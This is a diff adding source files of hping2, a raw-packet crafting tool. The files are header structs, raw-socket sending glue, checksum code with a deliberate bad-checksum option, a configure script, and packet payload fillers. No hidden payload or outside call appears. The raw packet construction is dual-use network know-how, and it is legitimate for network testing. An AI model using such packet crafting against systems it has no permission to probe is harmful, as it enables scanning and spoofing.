} src; /* loose and strinct source routing */
|
||||||
|
struct {
|
||||||
|
u_int8_t ptr;
|
||||||
|
u_int8_t data[37];
|
||||||
|
} rr; /* record route */
|
||||||
|
struct {
|
||||||
|
u_int16_t id;
|
||||||
|
} sid; /* stream id */
|
||||||
|
struct {
|
||||||
|
u_int8_t ptr;
|
||||||
|
u_int8_t flags;
|
||||||
|
u_int8_t data[36];
|
||||||
|
} tstamp; /* timestamp */
|
||||||
|
} un;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* The UDP header structure */
|
||||||
|
struct ars_udphdr {
|
||||||
|
__u16 uh_sport; /* source port */
|
||||||
|
__u16 uh_dport; /* destination port */
|
||||||
|
__u16 uh_ulen; /* udp length */
|
||||||
|
__u16 uh_sum; /* udp checksum */
|
||||||
|
};
|
||||||
|
|
||||||
|
/* The TCP header structure */
|
||||||
|
struct ars_tcphdr {
|
||||||
|
__u16 th_sport; /* source port */
|
||||||
|
__u16 th_dport; /* destination port */
|
||||||
|
__u32 th_seq; /* sequence number */
|
||||||
|
__u32 th_ack; /* acknowledgement number */
|
||||||
|
#if defined (BYTE_ORDER_LITTLE_ENDIAN)
|
||||||
|
__u8 th_x2:4, /* (unused) */
|
||||||
|
th_off:4; /* data offset */
|
||||||
|
#elif defined (BYTE_ORDER_BIG_ENDIAN)
|
||||||
|
__u8 th_off:4, /* data offset */
|
||||||
|
th_x2:4; /* (unused) */
|
||||||
|
#else
|
||||||
|
#error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"
|
||||||
|
#endif
|
||||||
|
__u8 th_flags;
|
||||||
|
__u16 th_win; /* window */
|
||||||
|
__u16 th_sum; /* checksum */
|
||||||
|
__u16 th_urp; /* urgent pointer */
|
||||||
|
};
|
||||||
|
|
||||||
|
/* The TCP options structure */
|
||||||
|
struct ars_tcpopt {
|
||||||
|
u_int8_t kind;
|
||||||
|
u_int8_t len;
|
||||||
|
union {
|
||||||
|
struct {
|
||||||
|
u_int16_t size;
|
||||||
|
} mss;
|
||||||
|
struct {
|
||||||
|
u_int8_t shift;
|
||||||
|
} win;
|
||||||
|
struct {
|
||||||
|
u_int16_t origin;
|
||||||
|
u_int16_t size;
|
||||||
|
} sack[10]; /* 10 SACK blocks in 44 bytes of space */
|
||||||
|
struct {
|
||||||
|
u_int8_t info[4];
|
||||||
|
} echo;
|
||||||
|
struct {
|
||||||
|
u_int8_t tsval[4];
|
||||||
|
u_int8_t tsecr[4];
|
||||||
|
} timestamp;
|
||||||
|
} un;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* The ICMP header structure */
|
||||||
|
struct ars_icmphdr
|
||||||
|
{
|
||||||
|
__u8 type;
|
||||||
|
__u8 code;
|
||||||
|
__u16 checksum;
|
||||||
|
union
|
||||||
|
{
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
__u16 id;
|
||||||
|
__u16 sequence;
|
||||||
|
} echo; /* called echo since it's the most used */
|
||||||
|
__u32 gateway;
|
||||||
|
} un;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* TCP/UDP pseudo header used to compute the checksum */
|
||||||
|
struct ars_pseudohdr
|
||||||
|
{
|
||||||
|
__u32 saddr;
|
||||||
|
__u32 daddr;
|
||||||
|
__u8 zero;
|
||||||
|
__u8 protocol;
|
||||||
|
__u16 lenght;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct ars_packet; /* forward declaration */
|
||||||
|
|
||||||
|
/* ARS layer */
|
||||||
|
struct ars_layer {
|
||||||
|
int l_type;
|
||||||
|
int l_size;
|
||||||
|
int l_flags;
|
||||||
|
void *l_data;
|
||||||
|
struct ars_packet *l_packet;
|
||||||
|
};
|
||||||
|
|
||||||
|
#define ARS_MAX_LAYER 16
|
||||||
|
|
||||||
|
/* Types */
|
||||||
|
#define ARS_TYPE_SIZE 32
|
||||||
|
#define ARS_TYPE_NULL 0
|
||||||
|
#define ARS_TYPE_IP 1
|
||||||
|
#define ARS_TYPE_IPOPT 2
|
||||||
|
#define ARS_TYPE_ICMP 3
|
||||||
|
#define ARS_TYPE_UDP 4
|
||||||
|
#define ARS_TYPE_TCP 5
|
||||||
|
#define ARS_TYPE_TCPOPT 6
|
||||||
|
#define ARS_TYPE_DATA 31
|
||||||
|
|
||||||
|
/* ARS packet context */
|
||||||
|
struct ars_packet {
|
||||||
|
char *p_error;
|
||||||
|
int p_layer_nr;
|
||||||
|
struct ars_layer p_layer[ARS_MAX_LAYER];
|
||||||
|
void *p_default[ARS_TYPE_SIZE];
|
||||||
|
int aux; /* Auxiliar variable for data exchange between functions */
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Facility to check for flags */
|
||||||
|
#define ARS_TAKE(f,x) (f & x)
|
||||||
|
#define ARS_DONTTAKE(f, x) (!(f & x))
|
||||||
|
#define ARS_TAKE_NONE 0
|
||||||
|
|
||||||
|
/* IP layer flags */
|
||||||
|
#define ARS_TAKE_IP_VERSION (1 << 0)
|
||||||
|
#define ARS_TAKE_IP_HDRLEN (1 << 1)
|
||||||
|
#define ARS_TAKE_IP_TOTLEN (1 << 2)
|
||||||
|
#define ARS_TAKE_IP_PROTOCOL (1 << 3)
|
||||||
|
#define ARS_TAKE_IP_CKSUM (1 << 4)
|
||||||
|
|
||||||
|
/* ICMP layer flags */
|
||||||
|
#define ARS_TAKE_ICMP_CKSUM (1 << 0)
|
||||||
|
|
||||||
|
/* UDP layer flags */
|
||||||
|
#define ARS_TAKE_UDP_CKSUM (1 << 0)
|
||||||
|
#define ARS_TAKE_UDP_LEN (1 << 1)
|
||||||
|
|
||||||
|
/* TCP layer flags */
|
||||||
|
#define ARS_TAKE_TCP_HDRLEN (1 << 0)
|
||||||
|
#define ARS_TAKE_TCP_CKSUM (1 << 1)
|
||||||
|
|
||||||
|
/* Some function that acts on layer switch to the last layer with this */
|
||||||
|
#define ARS_LAST_LAYER -1
|
||||||
|
|
||||||
|
/* Structure and defines needed to calculate the internet-like checksum
|
||||||
|
* when the data is splitted in more not adjacent buffers */
|
||||||
|
#define ARS_MC_INIT 0
|
||||||
|
#define ARS_MC_UPDATE 1
|
||||||
|
#define ARS_MC_FINAL 2
|
||||||
|
|
||||||
|
struct mc_context {
|
||||||
|
u_int32_t oddbyte_flag;
|
||||||
|
u_int32_t old;
|
||||||
|
u_int8_t oddbyte;
|
||||||
|
u_int8_t pad;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* ARS layer info structure */
|
||||||
|
struct ars_layer_info {
|
||||||
|
char *li_name; /* NULL = unused slot */
|
||||||
|
int (*li_compiler) (struct ars_packet *pkt, int layer); /* NULL = NOP */
|
||||||
|
int layer_id;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* ARS layer info table */
|
||||||
|
struct ars_layer_info ars_linfo[ARS_TYPE_SIZE];
|
||||||
|
|
||||||
|
/* ARS interface managment structure and defines */
|
||||||
|
#define ARS_IF_UP (1 << 0)
|
||||||
|
#define ARS_IF_LOOP (1 << 1)
|
||||||
|
#define ARS_IF_IPV4 (1 << 2)
|
||||||
|
#define ARS_IF_IPV6 (1 << 3)
|
||||||
|
#define ARS_IF_MISCONF (1 << 4)
|
||||||
|
|
||||||
|
#define ARS_IF_MAX_IFACE 16
|
||||||
|
#define ARS_IF_NAME_SIZE 32
|
||||||
|
|
||||||
|
/* iface type are obtained using libpcap to avoid efforts duplication */
|
||||||
|
struct ars_iface {
|
||||||
|
char if_name[ARS_IF_NAME_SIZE];
|
||||||
|
int if_mtu;
|
||||||
|
int if_flags;
|
||||||
|
char if_ipv4addr[ARS_INET_ADDRSTRLEN];
|
||||||
|
char if_ipv6addr[ARS_INET6_ADDRSTRLEN];
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Flags for packet splitting */
|
||||||
|
#define ARS_SPLIT_FTRUNC (1 << 0)
|
||||||
|
#define ARS_SPLIT_FBADCKSUM (1 << 1)
|
||||||
|
|
||||||
|
/* More macros */
|
||||||
|
#define ars_atou(x) strtoul(x, (char **) NULL, 0)
|
||||||
|
|
||||||
|
/* Prototypes */
|
||||||
|
int ars_init(struct ars_packet *pkt);
|
||||||
|
int ars_destroy(struct ars_packet *pkt);
|
||||||
|
int ars_nospace(struct ars_packet *pkt);
|
||||||
|
int ars_add_generic(struct ars_packet *pkt, size_t size, int type);
|
||||||
|
void *ars_add_iphdr(struct ars_packet *pkt, int unused);
|
||||||
|
void *ars_add_ipopt(struct ars_packet *pkt, int option);
|
||||||
|
void *ars_add_udphdr(struct ars_packet *pkt, int unused);
|
||||||
|
void *ars_add_tcphdr(struct ars_packet *pkt, int unused);
|
||||||
|
void *ars_add_tcpopt(struct ars_packet *pkt, int option);
|
||||||
|
void *ars_add_icmphdr(struct ars_packet *pkt, int unused);
|
||||||
|
void *ars_add_data(struct ars_packet *pkt, int size);
|
||||||
|
size_t ars_relative_size(struct ars_packet *pkt, int layer_nr);
|
||||||
|
size_t ars_packet_size(struct ars_packet *pkt);
|
||||||
|
u_int16_t ars_cksum(void *vbuf, size_t nbytes);
|
||||||
|
u_int16_t ars_multi_cksum(struct mc_context *c, int op, void *vbuf, size_t nbytes);
|
||||||
|
int ars_compile(struct ars_packet *pkt);
|
||||||
|
int ars_udptcp_cksum(struct ars_packet *pkt, int layer, u_int16_t *sum);
|
||||||
|
int ars_open_rawsocket(struct ars_packet *pkt);
|
||||||
|
int ars_build_packet(struct ars_packet *pkt, unsigned char **packet, size_t *size);
|
||||||
|
int ars_bsd_fix(struct ars_packet *pkt, unsigned char *packet, size_t size);
|
||||||
|
int ars_set_flags(struct ars_packet *pkt, int layer, int flags);
|
||||||
|
int ars_send(int s, struct ars_packet *pkt, struct sockaddr *sa, socklen_t slen);
|
||||||
|
int ars_resolve(struct ars_packet *pkt, u_int32_t *dest, char *hostname);
|
||||||
|
int ars_set_error(struct ars_packet *pkt, char *error);
|
||||||
|
int ars_d_build(struct ars_packet *pkt, char *t);
|
||||||
|
int ars_valid_layer(int layer);
|
||||||
|
int ars_get_iface_list(struct ars_iface *iface, size_t *isize);
|
||||||
|
int ars_get_iface(char *name, struct ars_iface *i);
|
||||||
|
int ars_valid_layer(int layer);
|
||||||
|
int ars_remove_layer(struct ars_packet *pkt, int layer);
|
||||||
|
|
||||||
|
/* split.c prototypes */
|
||||||
|
int ars_seems_ip(struct ars_iphdr *ip, size_t size);
|
||||||
|
int ars_guess_ipoff(void *packet, size_t size, int *lhs);
|
||||||
|
int ars_check_ip_cksum(struct ars_iphdr *ip);
|
||||||
|
int ars_check_icmp_cksum(struct ars_icmphdr *icmp, size_t size);
|
||||||
|
int ars_split_packet(void *packet, size_t size, int ipoff, struct ars_packet *pkt);
|
||||||
|
#endif /* _ARS_H */
|
32
arsglue.c
Normal file
32
arsglue.c
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
/* Glue between hping and the ars engine */
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include "ars.h"
|
||||||
|
|
||||||
|
/* Send the APD described packet {s} */
|
||||||
|
void hping_ars_send(char *apd)
|
||||||
|
{
|
||||||
|
struct ars_packet p;
|
||||||
|
int s;
|
||||||
|
|
||||||
|
ars_init(&p);
|
||||||
|
s = ars_open_rawsocket(&p);
|
||||||
|
if (s == -ARS_ERROR) {
|
||||||
|
perror("Opening raw socket");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
if (ars_d_build(&p, apd) != -ARS_OK) {
|
||||||
|
fprintf(stderr, "APD error: %s\n", p.p_error);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
if (ars_compile(&p) != -ARS_OK) {
|
||||||
|
fprintf(stderr, "APD error compiling: %s\n", p.p_error);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
if (ars_send(s, &p, NULL, 0) != -ARS_OK) {
|
||||||
|
perror("Sending the packet");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
55
binding.c
Normal file
55
binding.c
Normal file
@ -0,0 +1,55 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: binding.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:46 MET 1999$
|
||||||
|
* $rev: 11$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
void inc_destparm(int sid)
|
||||||
|
{
|
||||||
|
static long sec = 0;
|
||||||
|
static long usec = 0;
|
||||||
|
int *p;
|
||||||
|
int errno_save = errno;
|
||||||
|
|
||||||
|
switch (ctrlzbind) {
|
||||||
|
case BIND_DPORT:
|
||||||
|
p = &dst_port;
|
||||||
|
break;
|
||||||
|
case BIND_TTL:
|
||||||
|
p = &src_ttl;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("error binding ctrl+z\n");
|
||||||
|
/* errno = errno_save; */
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( (time(NULL) == sec) && ((get_usec() - usec) < 200000) ) {
|
||||||
|
if (*p > 0)
|
||||||
|
(*p)-=2;
|
||||||
|
if (*p < 0)
|
||||||
|
*p=0;
|
||||||
|
} else
|
||||||
|
(*p)++;
|
||||||
|
|
||||||
|
printf("\b\b\b\b\b\b\b\b\b");
|
||||||
|
printf("%d: ", *p);
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
sec = time(NULL);
|
||||||
|
usec = get_usec();
|
||||||
|
signal(SIGTSTP, inc_destparm);
|
||||||
|
errno = errno_save;
|
||||||
|
}
|
85
byteorder.c
Normal file
85
byteorder.c
Normal file
@ -0,0 +1,85 @@
|
|||||||
|
#if 0
|
||||||
|
#
|
||||||
|
# Compile with:
|
||||||
|
# $sh byteorder.c
|
||||||
|
#
|
||||||
|
cc byteorder.c -o byteorder || exit 1
|
||||||
|
echo successfully compiled
|
||||||
|
exit
|
||||||
|
#endif /* 0 */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: byteorder.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:47 MET 1999$
|
||||||
|
* $rev: 9$
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 0.1 first version
|
||||||
|
* 0.2 add Strchr, so it's possibile remove string.h
|
||||||
|
* 0.3 more portable thx to Pancrazio De Mauro 'TrantIT'!!!
|
||||||
|
* 0.4 better debug output
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
char *Strchr(char *s, char c)
|
||||||
|
{
|
||||||
|
while(*s)
|
||||||
|
if (*s++ == c)
|
||||||
|
return s;
|
||||||
|
|
||||||
|
return (char*) 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
unsigned int test = 1;
|
||||||
|
unsigned char *x;
|
||||||
|
int macro = 0, debug = 0, help = 0, j;
|
||||||
|
|
||||||
|
for (j = 1; j < argc; j++) {
|
||||||
|
if (Strchr(argv[j], 'm')) macro = 1;
|
||||||
|
if (Strchr(argv[j], 'd')) debug = 1;
|
||||||
|
if (Strchr(argv[j], 'h')) help = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (help) {
|
||||||
|
printf( "-m macro output\n"
|
||||||
|
"-d debug\n"
|
||||||
|
"-h help\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
x = (unsigned char*) &test;
|
||||||
|
|
||||||
|
if (*x == 0x00) {
|
||||||
|
if (macro)
|
||||||
|
printf("__BIG_ENDIAN_BITFIELD\n");
|
||||||
|
else
|
||||||
|
printf("big endian\n");
|
||||||
|
}
|
||||||
|
else if (*x == 0x01) {
|
||||||
|
if (macro)
|
||||||
|
printf("__LITTLE_ENDIAN_BITFIELD\n");
|
||||||
|
else
|
||||||
|
printf("little endian\n");
|
||||||
|
} else {
|
||||||
|
printf("\nWARNING!!! byteorder exception\n\n");
|
||||||
|
debug = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (debug) {
|
||||||
|
printf("sizeof(unsigned int) = %d\n", sizeof(unsigned int));
|
||||||
|
printf("unsigned int test = 1;\n");
|
||||||
|
printf("in memory as: ");
|
||||||
|
for (j = 0; j < sizeof(unsigned int); j++)
|
||||||
|
printf("%02x ", x[j]);
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
8
byteorder.h
Normal file
8
byteorder.h
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
#ifndef __BYTEORDER_H
|
||||||
|
#define __BYTEORDER_H
|
||||||
|
|
||||||
|
#ifndef __LITTLE_ENDIAN_BITFIELD
|
||||||
|
#define __LITTLE_ENDIAN_BITFIELD
|
||||||
|
#endif /* __LITTLE_ENDIAN_BITFIELD */
|
||||||
|
|
||||||
|
#endif /* __BYTEORDER_H */
|
20
bytesex.h
Normal file
20
bytesex.h
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
/* Original code from the Linux C library */
|
||||||
|
/* Copyright (C) 2000,2001 Salvatore Sanfilippo <antirez@invece.org>
|
||||||
|
* This code is under the original GNU C library license (GPL) */
|
||||||
|
|
||||||
|
/* $Id: bytesex.h,v 1.3 2003/07/28 09:00:55 njombart Exp $ */
|
||||||
|
|
||||||
|
#ifndef ARS_BYTESEX_H
|
||||||
|
#define ARS_BYTESEX_H
|
||||||
|
|
||||||
|
#include <endian.h>
|
||||||
|
|
||||||
|
#if __BYTE_ORDER == __LITTLE_ENDIAN
|
||||||
|
#define BYTE_ORDER_LITTLE_ENDIAN
|
||||||
|
#elif __BYTE_ORDER == __BIG_ENDIAN
|
||||||
|
#define BYTE_ORDER_BIG_ENDIAN
|
||||||
|
#else
|
||||||
|
# error can not find the byte order for this architecture, fix bytesex.h
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* ARS_BYTESEX_H */
|
41
cksum.c
Normal file
41
cksum.c
Normal file
@ -0,0 +1,41 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: cksum.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:47 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "hping2.h" /* only for arch semi-indipendent data types */
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* from R. Stevens's Network Programming
|
||||||
|
*/
|
||||||
|
__u16 cksum(__u16 *buf, int nbytes)
|
||||||
|
{
|
||||||
|
__u32 sum;
|
||||||
|
__u16 oddbyte;
|
||||||
|
|
||||||
|
sum = 0;
|
||||||
|
while (nbytes > 1) {
|
||||||
|
sum += *buf++;
|
||||||
|
nbytes -= 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (nbytes == 1) {
|
||||||
|
oddbyte = 0;
|
||||||
|
*((__u16 *) &oddbyte) = *(__u16 *) buf;
|
||||||
|
sum += oddbyte;
|
||||||
|
}
|
||||||
|
|
||||||
|
sum = (sum >> 16) + (sum & 0xffff);
|
||||||
|
sum += (sum >> 16);
|
||||||
|
|
||||||
|
/* return a bad checksum with --badcksum option */
|
||||||
|
if (opt_badcksum) sum ^= 0x5555;
|
||||||
|
|
||||||
|
return (__u16) ~sum;
|
||||||
|
}
|
117
configure
vendored
Normal file
117
configure
vendored
Normal file
@ -0,0 +1,117 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
show_help()
|
||||||
|
{
|
||||||
|
echo configure help:
|
||||||
|
echo "--help show this help"
|
||||||
|
echo "--force-libpcap build a libpcap based binary under linux"
|
||||||
|
echo " even if uid != euid"
|
||||||
|
}
|
||||||
|
|
||||||
|
if [ "$1" = "--help" ]; then
|
||||||
|
show_help
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
CC=${CC:=cc}
|
||||||
|
|
||||||
|
echo build byteorder.c...
|
||||||
|
$CC byteorder.c -o byteorder || exit 1
|
||||||
|
|
||||||
|
INSTALL_MANPATH=`echo $MANPATH|cut -f1 -d:`
|
||||||
|
if [ "$INSTALL_MANPATH" = "" ]; then
|
||||||
|
INSTALL_MANPATH="/usr/local/man"
|
||||||
|
fi
|
||||||
|
BYTEORDER=`./byteorder -m`
|
||||||
|
|
||||||
|
echo create byteorder.h...
|
||||||
|
cat > byteorder.h <<EOF
|
||||||
|
#ifndef __BYTEORDER_H
|
||||||
|
#define __BYTEORDER_H
|
||||||
|
|
||||||
|
EOF
|
||||||
|
echo \#ifndef $BYTEORDER >> byteorder.h
|
||||||
|
echo \#define $BYTEORDER >> byteorder.h
|
||||||
|
echo \#endif /\* $BYTEORDER \*/ >> byteorder.h
|
||||||
|
cat >> byteorder.h <<EOF
|
||||||
|
|
||||||
|
#endif /* __BYTEORDER_H */
|
||||||
|
EOF
|
||||||
|
|
||||||
|
CONFIGOSTYPE=`uname -s | tr [a-z] [A-Z]`
|
||||||
|
if [ ! "$CONFIGOSTYPE" ]; then
|
||||||
|
CONFIGOSTYPE=UNKNOWN
|
||||||
|
fi
|
||||||
|
|
||||||
|
# for BSD/OS use the historical name as it doesn't include '/'
|
||||||
|
if [ $CONFIGOSTYPE = "BSD/OS" ]; then
|
||||||
|
CONFIGOSTYPE=BSDI
|
||||||
|
fi
|
||||||
|
|
||||||
|
case $CONFIGOSTYPE in
|
||||||
|
SUNOS)
|
||||||
|
SOLARISLIB="-lsocket -lresolv -lnsl"
|
||||||
|
BUG='/* #define STUPID_SOLARIS_CHECKSUM_BUG */'
|
||||||
|
case `uname -r` in
|
||||||
|
2.0*|5.0*|2.1*|5.1*|2.2*|5.2*|2.3*|5.3*|2.4*|5.4*|5.5.1)
|
||||||
|
BUG='#define STUPID_SOLARIS_CHECKSUM_BUG' ;;
|
||||||
|
esac
|
||||||
|
esac
|
||||||
|
|
||||||
|
#
|
||||||
|
# configurable stuff
|
||||||
|
#
|
||||||
|
FORCE_LIBPCAP=""
|
||||||
|
if [ "$CONFIGOSTYPE" = "LINUX" ]; then
|
||||||
|
PCAP=""
|
||||||
|
PCAP_INCLUDE=""
|
||||||
|
else
|
||||||
|
PCAP="PCAP=-lpcap"
|
||||||
|
PCAP_INCLUDE=""
|
||||||
|
fi
|
||||||
|
|
||||||
|
for ARG in $*; do
|
||||||
|
case "$ARG" in
|
||||||
|
*"--force-libpcap")
|
||||||
|
FORCE_LIBPCAP="-DFORCE_LIBPCAP"
|
||||||
|
PCAP="PCAP=-lpcap"
|
||||||
|
PCAP_INCLUDE=""
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
echo --------------------------------------
|
||||||
|
echo system type: $CONFIGOSTYPE
|
||||||
|
echo
|
||||||
|
echo "FORCE_LIBPCAP: $FORCE_LIBPCAP"
|
||||||
|
echo "LIBPCAP : $PCAP"
|
||||||
|
echo "PCAP_INCLUDE : $PCAP_INCLUDE"
|
||||||
|
echo "MANPATH : $INSTALL_MANPATH"
|
||||||
|
echo
|
||||||
|
echo "(to modify try configure --help)"
|
||||||
|
echo --------------------------------------
|
||||||
|
|
||||||
|
echo creating Makefile...
|
||||||
|
sed -e "s/@FORCE_LIBPCAP@/$FORCE_LIBPCAP/g" \
|
||||||
|
-e "s^@PCAP@^$PCAP^g" \
|
||||||
|
-e "s^@PCAP_INCLUDE@^$PCAP_INCLUDE^g" \
|
||||||
|
-e "s^@MANPATH@^$INSTALL_MANPATH^g" \
|
||||||
|
-e "s^@SOLARISLIB@^$SOLARISLIB^g" \
|
||||||
|
<Makefile.in > Makefile
|
||||||
|
|
||||||
|
#
|
||||||
|
#
|
||||||
|
#
|
||||||
|
|
||||||
|
cat > systype.h <<EOF
|
||||||
|
#ifndef __SYSTYPE_H
|
||||||
|
#define __SYSTYPE_H
|
||||||
|
|
||||||
|
EOF
|
||||||
|
echo \#define OSTYPE_${CONFIGOSTYPE} >> systype.h
|
||||||
|
cat >> systype.h <<EOF
|
||||||
|
|
||||||
|
#endif /* SYSTYPE_H */
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo now you can try \`make\'
|
74
datafiller.c
Normal file
74
datafiller.c
Normal file
@ -0,0 +1,74 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: datafiller.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:47 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <string.h> /* memset */
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
void datafiller(char *p, int size)
|
||||||
|
{
|
||||||
|
static int fd = 0;
|
||||||
|
int readed, diff;
|
||||||
|
|
||||||
|
if (!fd) {
|
||||||
|
fd = open(datafilename, O_RDONLY);
|
||||||
|
if (fd == -1) {
|
||||||
|
perror("[datafiller] open()");
|
||||||
|
fd = 0; /* will retry to open the file for
|
||||||
|
* the next packet */
|
||||||
|
memset(p, 'X', size);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (p == NULL && fd != -1) { /* seek operation */
|
||||||
|
/* size-1 because packet with id 1 start from 0 */
|
||||||
|
lseek(fd, (data_size-signlen)*(size-1), SEEK_SET);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
restart: /* if EOF occurs, after rewind, restart */
|
||||||
|
|
||||||
|
readed = read(fd, p, size);
|
||||||
|
if (readed == size)
|
||||||
|
return;
|
||||||
|
else if (readed == -1) {
|
||||||
|
perror("[datafiller] read()");
|
||||||
|
close(fd);
|
||||||
|
fd = 0; /* will retry to open the file for the next packet */
|
||||||
|
memset(p, 'X', size);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if (readed < size && opt_end == FALSE) {
|
||||||
|
lseek(fd, 0, SEEK_SET);
|
||||||
|
if (readed == 0)
|
||||||
|
goto restart;
|
||||||
|
}
|
||||||
|
else if (readed < size && opt_end == TRUE) {
|
||||||
|
fprintf(stderr, "EOF reached, wait some second than press "
|
||||||
|
"ctrl+c\n");
|
||||||
|
eof_reached = TRUE;
|
||||||
|
} else {
|
||||||
|
printf("[datafiller.c INTERNAL ERROR] readed = %d - "
|
||||||
|
"opt_end == %d\n", readed, opt_end);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
diff = size - readed;
|
||||||
|
memset(p+readed, '\0', diff); /* padding */
|
||||||
|
lseek(fd, 0, SEEK_SET);
|
||||||
|
return;
|
||||||
|
}
|
39
datahandler.c
Normal file
39
datahandler.c
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: datahandler.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:47 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
void data_handler(char *data, int data_size)
|
||||||
|
{
|
||||||
|
if (opt_listenmode) { /* send an HCMP */
|
||||||
|
memcpy(data, rsign, signlen); /* ok, write own reverse sign */
|
||||||
|
data+=signlen;
|
||||||
|
data_size-=signlen;
|
||||||
|
memcpy(data, hcmphdr_p, data_size);
|
||||||
|
return; /* done */
|
||||||
|
}
|
||||||
|
|
||||||
|
if (opt_sign) {
|
||||||
|
memcpy(data, sign, signlen); /* lenght pre-checked */
|
||||||
|
data+=signlen;
|
||||||
|
data_size-=signlen;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (data_size == 0)
|
||||||
|
return; /* there is not space left */
|
||||||
|
|
||||||
|
if (opt_datafromfile)
|
||||||
|
datafiller(data, data_size);
|
||||||
|
else
|
||||||
|
memset(data, 'X', data_size);
|
||||||
|
}
|
152
debian/changelog
vendored
Normal file
152
debian/changelog
vendored
Normal file
@ -0,0 +1,152 @@
|
|||||||
|
hping2 (2.rc3-4) unstable; urgency=low
|
||||||
|
|
||||||
|
* Apply man page patch from Timo Juhani Lindfors <timo.lindfors@iki.fi>
|
||||||
|
(closes: #342485).
|
||||||
|
|
||||||
|
* debian/compat: New file, switch to compat level 5.
|
||||||
|
* debian/rules: Remove obsolete DH_COMPAT variable.
|
||||||
|
